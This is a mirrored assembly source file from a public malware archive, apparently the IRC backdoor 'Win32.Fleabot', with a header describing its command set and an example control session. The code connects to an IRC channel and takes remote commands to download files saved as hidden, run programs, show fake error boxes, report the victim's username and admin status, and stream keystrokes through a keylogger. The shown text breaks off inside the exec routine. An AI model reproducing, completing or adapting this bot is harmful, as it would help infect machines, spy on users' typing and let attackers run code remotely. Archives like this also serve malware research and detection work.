mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
1192 lines
65 KiB
NASM
1192 lines
65 KiB
NASM
|
;Win32.Fleabot by DiA/RRLF
|
|||
|
;DiA_hates_machine@gmx.de
|
|||
|
;http://www.vx-dia.de.vu/
|
|||
|
;
|
|||
|
;Description:
|
|||
|
; This is a small and simple IRC bot coded in assembler (use FASM to assemble). I
|
|||
|
; wanted to write a small tutorial along with this source, but I am lazy dude ;).
|
|||
|
; But don't cry, the code is very well commented and easy to understand. The bot
|
|||
|
; has 12 commands, wich you can see in the example session. For greets and fucks
|
|||
|
; use my guestbook at vx-dia.de.vu or drop me some mail to DiA_hates_machine@gmx.de
|
|||
|
; Now have fun with this little code, assembled just 8kb baby.
|
|||
|
;
|
|||
|
;------- example session start------------------------------------------------------
|
|||
|
;[10:52] * Now talking in #test
|
|||
|
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
|
|||
|
;[10:53] <workwqbz> bot is locked, use unlock <password>
|
|||
|
;[10:53] <DiAbolicx> ^^unlock test
|
|||
|
;[10:53] <workwqbz> bot now unlocked
|
|||
|
;[10:53] <DiAbolicx> ^^raw mode #test +o DiAbolicx
|
|||
|
;[10:53] * workwqbz sets mode: +o DiAbolicx
|
|||
|
;[10:53] <DiAbolicx> ^^cmds
|
|||
|
;[10:53] <workwqbz> unlock <password> - unlock the bot
|
|||
|
;[10:53] <workwqbz> lock - lock the bot
|
|||
|
;[10:53] <workwqbz> raw <irc command> - send irc command to server
|
|||
|
;[10:53] <workwqbz> dl <http url> | <save as path> - download file from http
|
|||
|
;[10:53] <workwqbz> exec <path> - execute a application
|
|||
|
;[10:53] <workwqbz> msgbox <title> | <message> - show fake error message
|
|||
|
;[10:53] <workwqbz> info - get username, system directory and is admin
|
|||
|
;[10:53] <workwqbz> livelog - start logging keys and send it to channel
|
|||
|
;[10:53] <workwqbz> stoplog - stop logging keys
|
|||
|
;[10:53] <workwqbz> cmds - show available commands
|
|||
|
;[10:53] <workwqbz> version - show bot version
|
|||
|
;[10:53] <workwqbz> quit - quit bot
|
|||
|
;[10:53] <DiAbolicx> ^^raw privmsg #test :yes, i am here
|
|||
|
;[10:53] <workwqbz> yes, i am here
|
|||
|
;[10:56] <DiAbolicx> ^^dl http://127.0.0.1/calc.exe | D:\calcx.exe
|
|||
|
;[10:56] <workwqbz> download successful
|
|||
|
;[10:56] <DiAbolicx> ^^exec D:\calcx.exe
|
|||
|
;[10:57] <workwqbz> successful executed
|
|||
|
;[10:57] <DiAbolicx> ^^msgbox Fleabot | Test message, dude
|
|||
|
;[10:57] <workwqbz> message box closed by user
|
|||
|
;[10:57] <DiAbolicx> ^^info
|
|||
|
;[10:57] <workwqbz> Username: Work, System directory: C:\WINDOWS\system32, Admin: No
|
|||
|
;[10:58] <DiAbolicx> ^^version
|
|||
|
;[10:58] <workwqbz> Fleabot - a example IRC bot in asm
|
|||
|
;[10:58] <DiAbolicx> ^^livelog
|
|||
|
;[10:58] <workwqbz> live keylogging thread created
|
|||
|
;[10:58] <workwqbz> {crlf}THIS IS A TEST I TYPE THIS IN MY EDITOR AND
|
|||
|
;[10:58] <workwqbz> KEYS ARE REDIRECTED TO THE PREDEFINED IRC CHANNEL{crlf}
|
|||
|
;[10:58] <DiAbolicx> ^^stoplog
|
|||
|
;[10:58] <workwqbz> keylogging thread terminated
|
|||
|
;[10:59] <DiAbolicx> ^^quit
|
|||
|
;[10:59] * workwqbz (~workwqbz@dianet.org) Quit (workwqbz)
|
|||
|
;------- example session end--------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
include "%fasminc%\win32ax.inc" ;equates, api's and macros making living easier
|
|||
|
|
|||
|
entry Bot ;define code start
|
|||
|
|
|||
|
IRCServer equ "127.0.0.1", 0 ;to this server we want to connect
|
|||
|
IRCPort equ 6667d ;connect using this port
|
|||
|
Channel equ "#test", 0 ;channel name
|
|||
|
ChannelPassword equ "test", 0 ;the channel password
|
|||
|
CommandPrefix equ "^^" ;what indicate commands
|
|||
|
BotPassword equ "test", 0 ;bot password
|
|||
|
CRLF equ 10d, 13d ;break
|
|||
|
|
|||
|
|
|||
|
section '.data' data readable writeable ;here our datas will be stored
|
|||
|
Version db "Fleabot - a example IRC bot in asm", 0 ;identify bot version
|
|||
|
|
|||
|
IsLocked db 0d ;to check if bot is locked or not
|
|||
|
WSAData WSADATA ;used by WSAStartup, cleanup
|
|||
|
SocketDesc dd ? ;socket descriptor is stored here
|
|||
|
SockAddr dw AF_INET ;our sockaddr_in structure
|
|||
|
SockAddr_Port dw ? ;here we save the port
|
|||
|
SockAddr_IP dd ? ;here we save the ip
|
|||
|
SockAddr_Zero rb 8d ;unused
|
|||
|
RandomString rb 5d ;here we save a random string (a - z) for the nick
|
|||
|
Username rb 36d ;here we store the user name for nick generation
|
|||
|
UsernameSize dd 36d ;size of the buffer
|
|||
|
Nickname rb 9d ;buffer for nickname
|
|||
|
SendBuffer rb 512d ;the buffer where we store bytes to send
|
|||
|
ReturnBuffer rb 512d ;the buffer where we story things to receive
|
|||
|
ByteBuffer rb 2d ;for the RecvLine procedure
|
|||
|
Pong db "PONG " ;prefix pong message
|
|||
|
PongBuffer rb 16d ;buffer for the pong message
|
|||
|
CommandBuffer rb 128d ;buffer to store command and parameters
|
|||
|
Parameter1 rb 128d ;buffer for parameter 1
|
|||
|
Parameter2 rb 128d ;buffer for parameter 2
|
|||
|
InetHandle dd ? ;handle for download command
|
|||
|
UrlHandle dd ? ;handle for download command
|
|||
|
FileHandle dd ? ;handle of open files
|
|||
|
ReadNext dd ? ;how much else to download
|
|||
|
DownloadBuffer rb 1024d ;downoad kb for kb
|
|||
|
BytesWritten dd ? ;for writefile
|
|||
|
StartupInfo STARTUPINFO ;for create process
|
|||
|
ProcessInfo PROCESS_INFORMATION ;for create process
|
|||
|
SystemDir rb 256d ;buffer for system dir
|
|||
|
ThreadId dd ? ;for creating live keylog thread
|
|||
|
ThreadHandle dd ? ;store handle for thread
|
|||
|
ThreadExitCode dd ? ;for terminating thread
|
|||
|
KeylogBuffer rb 60d ;buffer for key strokes
|
|||
|
|
|||
|
|
|||
|
section '.code' code readable executable ;code section
|
|||
|
Bot: ;lets start
|
|||
|
invoke WSAStartup,\ ;initiates sockets DLL
|
|||
|
0101h,\ ;use version 1.1
|
|||
|
WSAData ;pointer to wsadata strcuture
|
|||
|
|
|||
|
cmp eax, 0 ;successful?
|
|||
|
jne Exit ;if not exit bot
|
|||
|
|
|||
|
invoke socket,\ ;create a socket
|
|||
|
AF_INET,\ ;family
|
|||
|
SOCK_STREAM,\ ;two way connection
|
|||
|
0 ;no particular protocol
|
|||
|
|
|||
|
cmp eax, -1 ;successful?
|
|||
|
je Exit ;if not exit
|
|||
|
|
|||
|
mov dword [SocketDesc], eax ;save socket descriptor
|
|||
|
|
|||
|
invoke inet_addr,\ ;covert ip string to dword
|
|||
|
IRCServer ;the ip as string
|
|||
|
|
|||
|
mov dword [SockAddr_IP], eax ;save ip in sockaddr structure
|
|||
|
|
|||
|
invoke htons,\ ;convert port to the network byte order
|
|||
|
IRCPort ;the port
|
|||
|
|
|||
|
mov word [SockAddr_Port], ax ;save it in the structure
|
|||
|
|
|||
|
invoke connect,\ ;now connect to server
|
|||
|
dword [SocketDesc],\ ;the socket descriptor
|
|||
|
SockAddr,\ ;pointer to the sockaddr structure
|
|||
|
16d ;size of this structure
|
|||
|
|
|||
|
cmp eax, 0 ;successful?
|
|||
|
jne Exit ;if not exit
|
|||
|
|
|||
|
call GenerateNickname ;generate the nickname
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy NICK to send buffer
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
"NICK " ;nick command
|
|||
|
|
|||
|
invoke lstrcat,\ ;append the nickname
|
|||
|
SendBuffer,\ ;to this
|
|||
|
Nickname ;from this
|
|||
|
|
|||
|
call SendLine ;send buffer to irc server
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy USER to send buffer
|
|||
|
SendBuffer,\ ;to this
|
|||
|
"USER " ;from this
|
|||
|
|
|||
|
invoke lstrcat,\ ;append the nickname
|
|||
|
SendBuffer,\ ;to this
|
|||
|
Nickname ;from this
|
|||
|
|
|||
|
invoke lstrcat,\ ;append usermode
|
|||
|
SendBuffer,\ ;to this
|
|||
|
" 8 * :" ;usermode
|
|||
|
|
|||
|
invoke lstrcat,\ ;append nickname for user message
|
|||
|
SendBuffer,\ ;to this
|
|||
|
Nickname ;from this
|
|||
|
|
|||
|
call SendLine ;send buffer to server
|
|||
|
|
|||
|
GetMotd: ;we can join when "MOTD" message is over
|
|||
|
call RecvLine ;get a line from server
|
|||
|
call HandlePing ;handle ping
|
|||
|
|
|||
|
mov ecx, 0 ;clear counter
|
|||
|
|
|||
|
IsMotd: ;check for "MOTD"
|
|||
|
cmp dword [ReturnBuffer + ecx], "MOTD" ;is there "MOTD"?
|
|||
|
je HaveMotd ;then we can join
|
|||
|
|
|||
|
cmp byte [ReturnBuffer + ecx], 0d ;end of buffer?
|
|||
|
je GetMotd ;check next line
|
|||
|
|
|||
|
inc ecx ;ecx + 1
|
|||
|
jmp IsMotd ;check next position
|
|||
|
|
|||
|
HaveMotd: ;now we can join
|
|||
|
invoke lstrcpy,\ ;copy JOIN to buffer
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
"JOIN " ;join command
|
|||
|
|
|||
|
invoke lstrcat,\ ;append the channel
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
Channel ;channel name
|
|||
|
|
|||
|
invoke lstrcat,\ ;append a space
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
" " ;space
|
|||
|
|
|||
|
invoke lstrcat,\ ;append the channel password
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
ChannelPassword ;pass
|
|||
|
|
|||
|
call SendLine ;send to server
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy MODE to buffer
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
"MODE " ;to set key
|
|||
|
|
|||
|
invoke lstrcat,\ ;append channel
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
Channel ;channel name
|
|||
|
|
|||
|
invoke lstrcat,\ ;append key mode and secret
|
|||
|
SendBuffer,\ ;buffer
|
|||
|
" +nsk " ;no external message, secret, key
|
|||
|
|
|||
|
invoke lstrcat,\ ;append the password aka key
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
ChannelPassword ;the pass
|
|||
|
|
|||
|
call SendLine ;send it to irc server
|
|||
|
|
|||
|
RecvCommand: ;check if received line include a command
|
|||
|
call RecvLine ;get a line
|
|||
|
call HandlePing ;handle ping if it is
|
|||
|
|
|||
|
mov ecx, 0 ;set counter to zero
|
|||
|
|
|||
|
IsCommand: ;check if command
|
|||
|
cmp word [ReturnBuffer + ecx], CommandPrefix ;is command prefix?
|
|||
|
je HaveCommand ;then extract command
|
|||
|
|
|||
|
cmp byte [ReturnBuffer + ecx], 0 ;is end of line?
|
|||
|
je RecvCommand ;then wait for next
|
|||
|
|
|||
|
inc ecx ;increase counter by one
|
|||
|
jmp IsCommand ;check next position
|
|||
|
|
|||
|
HaveCommand: ;extract command
|
|||
|
mov ebx, ReturnBuffer ;pointer to buffer
|
|||
|
add ebx, ecx ;add counter
|
|||
|
add ebx, 2d ;add length of command prefix
|
|||
|
|
|||
|
invoke lstrcpy,\ ;add to command buffer
|
|||
|
CommandBuffer,\ ;pointer
|
|||
|
ebx ;points to command position
|
|||
|
|
|||
|
call ExecuteCommand ;execute command
|
|||
|
jmp RecvCommand ;next command
|
|||
|
|
|||
|
Exit:
|
|||
|
invoke WSACleanup ;cleanup the wsa
|
|||
|
|
|||
|
invoke ExitProcess,\ ;exit program
|
|||
|
0 ;exit code
|
|||
|
|
|||
|
|
|||
|
SendLine: ;this procedure sends a line to the irc server
|
|||
|
invoke lstrcat,\ ;append crlf to the send buffer
|
|||
|
SendBuffer,\ ;buffer
|
|||
|
CRLF ;10d, 13d
|
|||
|
|
|||
|
invoke lstrlen,\ ;get length of buffer
|
|||
|
SendBuffer ;buffer
|
|||
|
|
|||
|
invoke send,\ ;send this line
|
|||
|
dword [SocketDesc],\ ;socket descriptor
|
|||
|
SendBuffer,\ ;send this
|
|||
|
eax,\ ;length of buffer
|
|||
|
0 ;no flags
|
|||
|
|
|||
|
cmp eax, -1 ;succeddful?
|
|||
|
je Exit ;if not exit
|
|||
|
ret ;return to call
|
|||
|
|
|||
|
|
|||
|
RecvLine: ;this procedure receive a line from server
|
|||
|
mov dword [ReturnBuffer], 0 ;clear the buffer
|
|||
|
|
|||
|
GetLine: ;recv until crlf
|
|||
|
invoke recv,\ ;receive a byte
|
|||
|
dword [SocketDesc],\ ;socket descriptor
|
|||
|
ByteBuffer,\ ;1 byte buffer
|
|||
|
1d,\ ;get just one byte
|
|||
|
0 ;no flags
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je Exit ;if so, exit
|
|||
|
|
|||
|
cmp byte [ByteBuffer], 10d ;arrived crlf?
|
|||
|
je HaveLine ;then return
|
|||
|
|
|||
|
invoke lstrcat,\ ;append byte to buffer
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
ByteBuffer ;the byte
|
|||
|
|
|||
|
jmp GetLine ;receive next byte
|
|||
|
|
|||
|
HaveLine: ;we have a line and can..
|
|||
|
ret ;...return
|
|||
|
|
|||
|
|
|||
|
GenerateNickname: ;this procedure generates a random nick
|
|||
|
mov ecx, 0 ;clear counter
|
|||
|
|
|||
|
GetByte: ;get a single byte
|
|||
|
invoke GetTickCount ;get the run time
|
|||
|
|
|||
|
cmp al, 97d ;after "a"
|
|||
|
jnb CheckBelow ;if so, check if its before "z"
|
|||
|
|
|||
|
jmp Sleep33 ;sleep 33 ms
|
|||
|
|
|||
|
CheckBelow:
|
|||
|
cmp al, 122d ;before "z"
|
|||
|
jna HaveByte ;then save byte
|
|||
|
|
|||
|
jmp Sleep33 ;sleep 33 ms
|
|||
|
|
|||
|
HaveByte: ;save a byte
|
|||
|
mov byte [RandomString + ecx], al ;save byte at the position
|
|||
|
inc ecx ;ecx + 1
|
|||
|
|
|||
|
cmp ecx, 4d ;got 4 bytes?
|
|||
|
je GenerateIt ;now generate it
|
|||
|
|
|||
|
Sleep33: ;sleep 33ms and try again to get a byte a - z
|
|||
|
push ecx ;push counter
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep
|
|||
|
33d ;33ms
|
|||
|
|
|||
|
pop ecx ;restore counter
|
|||
|
|
|||
|
jmp GetByte ;try to get a byte a -z
|
|||
|
|
|||
|
GenerateIt: ;have random string, now create nick
|
|||
|
invoke GetUserName,\ ;get the logged on user name
|
|||
|
Username,\ ;pointer to buffer
|
|||
|
UsernameSize ;size of buffer
|
|||
|
|
|||
|
cmp eax, 0 ;successful?
|
|||
|
jne ExtractUserName ;if so jump there
|
|||
|
|
|||
|
mov dword [Username], "rrlf" ;no user name got, fill it with text anyways
|
|||
|
|
|||
|
ExtractUserName: ;get 4 bytes from the user name
|
|||
|
mov byte [Username + 4d], 0 ;set string end at 5th position
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy username to nick buffer
|
|||
|
Nickname,\ ;pointer to buffer
|
|||
|
Username ;pointer to buffer
|
|||
|
|
|||
|
invoke lstrcat,\ ;append random string
|
|||
|
Nickname,\ ;to this
|
|||
|
RandomString ;from this
|
|||
|
|
|||
|
invoke CharLowerBuff,\ ;now mae nick to lower
|
|||
|
Nickname,\ ;the nick
|
|||
|
8d ;length
|
|||
|
|
|||
|
ret ;return to call
|
|||
|
|
|||
|
|
|||
|
HandlePing: ;this procedure handle ping and pong
|
|||
|
cmp dword [ReturnBuffer], "PING" ;is a ping?
|
|||
|
jne NoPing ;if not return
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy ping message to buffer
|
|||
|
PongBuffer,\ ;to this
|
|||
|
ReturnBuffer + 6d ;sendbuffer + "PING "
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy PONG message to sendbuffer
|
|||
|
SendBuffer,\ ;buffer
|
|||
|
Pong ;pong message
|
|||
|
|
|||
|
call SendLine ;send pong
|
|||
|
|
|||
|
NoPing: ;its not a ping
|
|||
|
ret ;return
|
|||
|
|
|||
|
SendPrivmsg: ;send a message to channel
|
|||
|
invoke lstrcpy,\ ;copy PRIVMSG to send buffer
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
"PRIVMSG " ;irc command
|
|||
|
|
|||
|
invoke lstrcat,\ ;append channel
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
Channel ;the chan
|
|||
|
|
|||
|
invoke lstrcat,\ ;append space
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
" :" ;sepertor
|
|||
|
|
|||
|
invoke lstrcat,\ ;append message
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
ReturnBuffer ;pointer
|
|||
|
|
|||
|
call SendLine ;send to server
|
|||
|
ret ;return
|
|||
|
|
|||
|
ExecuteCommand: ;execute received command
|
|||
|
cmp dword [CommandBuffer], "unlo" ;is unlock command?
|
|||
|
je CmdUnlock ;execute it
|
|||
|
|
|||
|
cmp byte [IsLocked], 0 ;is bot locked?
|
|||
|
je BotLocked ;jmp there
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "cmds" ;is commands command?
|
|||
|
je CmdCmds ;then show commands
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "lock" ;is lock command?
|
|||
|
je CmdLock ;lock it then
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "quit" ;is quit command?
|
|||
|
je CmdQuit ;quit from irc, exit
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "raw " ;is raw command?
|
|||
|
je CmdRaw ;execute raw irc command
|
|||
|
|
|||
|
cmp word [CommandBuffer], "dl" ;is download command?
|
|||
|
je CmdDl ;download file from http
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "exec" ;is execute command?
|
|||
|
je CmdExec ;then execute application
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "vers" ;is version command?
|
|||
|
je CmdVersion ;show it then
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "msgb" ;is msgbox command?
|
|||
|
je CmdMsgbox ;show it then
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "info" ;is info command?
|
|||
|
je CmdInfo ;then show informations about victim
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "live" ;is livelog command?
|
|||
|
je CmdLivelog ;log it then
|
|||
|
|
|||
|
cmp dword [CommandBuffer], "stop" ;is stoplog command?
|
|||
|
je CmdStoplog ;stop it then
|
|||
|
|
|||
|
invoke lstrcpy,\ ;unknown command
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
"unknown command, type 'cmds' for commands" ;mesage
|
|||
|
|
|||
|
call SendPrivmsg ;send to chan
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
BotLocked:
|
|||
|
invoke lstrcpy,\ ;copy locked message to return buffer
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
"bot is locked, use unlock <password>" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdUnlock: ;unlock command
|
|||
|
invoke lstrlen,\ ;get password len
|
|||
|
BotPassword ;of this
|
|||
|
|
|||
|
inc eax ;eax + 1
|
|||
|
|
|||
|
invoke lstrcpyn,\ ;copy password to parameter1 buffer
|
|||
|
Parameter1,\ ;pointer
|
|||
|
CommandBuffer + 7d,\ ;skip "unlock "
|
|||
|
eax ;dont copy the crlf
|
|||
|
|
|||
|
invoke lstrcmp,\ ;compare password
|
|||
|
BotPassword,\ ;password
|
|||
|
Parameter1 ;received password
|
|||
|
|
|||
|
cmp eax, 0 ;right pass?
|
|||
|
jne WrongPassword ;if not send back wrong pass
|
|||
|
|
|||
|
mov byte [IsLocked], 1d ;set unlock code
|
|||
|
|
|||
|
invoke lstrcpy,\ ;tell user bot is unlocked
|
|||
|
ReturnBuffer,\ ;buffer
|
|||
|
"bot now unlocked" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
WrongPassword:
|
|||
|
invoke lstrcpy,\ ;copy wrong pass message
|
|||
|
ReturnBuffer,\ ;pointer
|
|||
|
"wrong password" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to chan
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdCmds: ;show all comands
|
|||
|
invoke lstrcpy,\ ;copy unlock command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"unlock <password> - unlock the bot" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy lock command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"lock - lock the bot" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy raw command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"raw <irc command> - send irc command to server" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy dl command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"dl <http url> | <save as path> - download file from http" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy exec command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"exec <path> - execute a application" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy msgbox command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"msgbox <title> | <message> - show fake error message" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy info command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"info - get username, system directory and is admin" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy livelog command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"livelog - start logging keys and send it to channel" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy stoplog command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"stoplog - stop logging keys" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy cmds command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"cmds - show available commands" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy version command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"version - show bot version" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy quit command
|
|||
|
ReturnBuffer,\ ;pointer to buffer
|
|||
|
"quit - quit bot" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it to channel
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep a second
|
|||
|
1000d ;1 sec
|
|||
|
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdLock: ;lock command
|
|||
|
mov byte [IsLocked], 0 ;set it as locked
|
|||
|
|
|||
|
invoke lstrcpy,\ ;return message
|
|||
|
ReturnBuffer,\ ;buffer
|
|||
|
"bot now locked" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send it
|
|||
|
jmp ExecuteCommandReturn ;and return
|
|||
|
|
|||
|
CmdQuit: ;quit bot
|
|||
|
invoke lstrcpy,\ ;copy QUIT to buffer
|
|||
|
SendBuffer,\ ;pointer
|
|||
|
"QUIT" ;quit command
|
|||
|
|
|||
|
call SendLine ;send it
|
|||
|
|
|||
|
invoke Sleep,\ ;sleep
|
|||
|
2000d ;2 seconds
|
|||
|
|
|||
|
jmp Exit ;exit bot
|
|||
|
|
|||
|
CmdRaw: ;send raw command to irc server
|
|||
|
invoke lstrcpy,\ ;copy command to buffer
|
|||
|
SendBuffer,\ ;buffer
|
|||
|
CommandBuffer + 4 ;skip "raw "
|
|||
|
|
|||
|
call SendLine ;send it
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdDl: ;download file via http
|
|||
|
call ExtractParameters ;get the two parameters
|
|||
|
|
|||
|
invoke InternetOpen,\ ;initialise wininet
|
|||
|
Parameter1,\ ;use url as agent, not necessary
|
|||
|
0,\ ;get configs from registry (INTERNET_OPEN_TYPE_PRECONFIG)
|
|||
|
0,\ ;no proxy
|
|||
|
0,\ ;also no bypass
|
|||
|
0 ;no flags
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je DownloadFileError ;if so jump to error
|
|||
|
|
|||
|
mov dword [InetHandle], eax ;save handle
|
|||
|
|
|||
|
invoke InternetOpenUrl,\ ;open the http url
|
|||
|
dword [InetHandle],\ ;handle from internetopen
|
|||
|
Parameter1 + 3,\ ;pointer to the url, pass "dl "
|
|||
|
0,\ ;no need for headers
|
|||
|
0,\ ;so are the length
|
|||
|
0,\ ;no specific flags
|
|||
|
0 ;no context needed
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je DownloadFileError ;then show error
|
|||
|
|
|||
|
mov dword [UrlHandle], eax ;save handle
|
|||
|
|
|||
|
invoke CreateFile,\ ;create the file for writing
|
|||
|
Parameter2,\ ;pointer to filename
|
|||
|
GENERIC_WRITE,\ ;we just want to write
|
|||
|
FILE_SHARE_WRITE,\ ;write it
|
|||
|
0,\ ;security attributes, nohh
|
|||
|
CREATE_NEW,\ ;fail if file exist
|
|||
|
FILE_ATTRIBUTE_HIDDEN,\ ;make it as hidden
|
|||
|
0 ;no template file
|
|||
|
|
|||
|
cmp eax, 0 ;error?
|
|||
|
je DownloadFileError ;send error back
|
|||
|
|
|||
|
mov dword [FileHandle], eax ;save handle
|
|||
|
|
|||
|
inc dword [ReadNext] ;increase readnext by one
|
|||
|
|
|||
|
ReadNextBytes: ;read bytes by bytes
|
|||
|
cmp dword [ReadNext], 0 ;no more to read
|
|||
|
je DownloadComplete ;then download complete
|
|||
|
|
|||
|
invoke InternetReadFile,\ ;read from the open url
|
|||
|
dword [UrlHandle],\ ;open handle
|
|||
|
DownloadBuffer,\ ;pointer to buffer
|
|||
|
1024d,\ ;bytes to read, kbyte by kbyte
|
|||
|
ReadNext ;how much bytes readed?
|
|||
|
|
|||
|
invoke WriteFile,\ ;write bytes to file
|
|||
|
dword [FileHandle],\ ;open handle
|
|||
|
DownloadBuffer,\ ;point to downloaded bytes
|
|||
|
dword [ReadNext],\ ;write that much bytes
|
|||
|
BytesWritten,\ ;how much bytes are written
|
|||
|
0 ;no overlapped
|
|||
|
|
|||
|
jmp ReadNextBytes ;process next bytes
|
|||
|
|
|||
|
DownloadComplete: ;download is complete
|
|||
|
invoke CloseHandle,\ ;close file
|
|||
|
dword [FileHandle] ;via handle
|
|||
|
|
|||
|
invoke InternetCloseHandle,\ ;close inet
|
|||
|
dword [UrlHandle] ;via handle
|
|||
|
|
|||
|
invoke InternetCloseHandle,\ ;again
|
|||
|
dword [InetHandle] ;via handle
|
|||
|
|
|||
|
invoke lstrcpy,\ ;copy success message
|
|||
|
ReturnBuffer,\ ;to return buffer
|
|||
|
"download successful" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
DownloadFileError:
|
|||
|
invoke lstrcpy,\ ;copy fail message
|
|||
|
ReturnBuffer,\ ;to return buffer
|
|||
|
"download failed" ;message
|
|||
|
|
|||
|
call SendPrivmsg ;send to channel
|
|||
|
jmp ExecuteCommandReturn ;return
|
|||
|
|
|||
|
CmdExec: ;execute a file
|
|||
|
invoke lstrlen,\ ;get length of buffer
|
|||
|
CommandBuffer ;of this
|
|||
|
|
|||
|
mov byte [CommandBuffer + eax - 1], 0 ;clear the crlf
|
|||
|
|
|||
|
invoke CreateProcess,\ ;via create process
|
|||
|
CommandBuffer + 5d,\ ;application, skip "exec "
|
|||
|
CommandBuffer + 5d,\ ;user
|
|||
|
0,\ ;no process attributes
|
|||
|
0,\ ;no thread attributes
|
|||
|
0,\ ;no inerhits
|
|||
|
CREATE_NEW_CONSOLE,\ ;own process
|
|||
|
0,\ ;no environment
|
|||
|
0,\ ;nor current directory
